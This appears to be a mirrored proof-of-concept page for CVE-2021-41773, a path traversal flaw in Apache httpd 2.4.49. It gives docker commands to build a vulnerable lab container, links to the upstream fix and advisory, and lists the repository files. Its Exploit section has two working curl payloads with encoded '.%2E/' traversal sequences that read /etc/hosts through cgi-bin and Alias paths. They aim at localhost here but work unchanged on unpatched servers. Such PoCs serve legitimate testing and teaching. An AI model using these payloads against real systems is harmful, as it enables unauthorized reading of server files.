CVE-2021-41773 PoC — Apache HTTP Server 路径遍历漏洞

来源

关联漏洞

介绍

# CVE-2021-41773 (Apache httpd only 2.4.49)

For educational purposes only.

See Reference for the details.


## Run
```
$ git clone https://github.com/masahiro331/CVE-2021-41773.git
$ cd CVE-2021-41773
$ docker build -t cve-2021-41773 .
$ docker run -d -p 8080:80 cve-2021-41773
```

## Exploit
```
# This vulnerability affects the use of Alias.
$ curl http://localhost:8080/cgi-bin/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts
$ curl http://localhost:8080/webpath/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts
```

## Reference

[Fixed commit](https://github.com/apache/httpd/commit/98246aa96079dad5f7b20521bbc0142a04f1c5e7)
[Vendor advisory](https://httpd.apache.org/security/vulnerabilities_24.html)

文件快照

 [4.0K]  /data/pocs/6af1fd66430ba8e69a1fe1f3b2a224dc53ad1f20
├── [  70]  Dockerfile
├── [ 20K]  httpd.conf
└── [ 752]  README.md

0 directories, 3 files

备注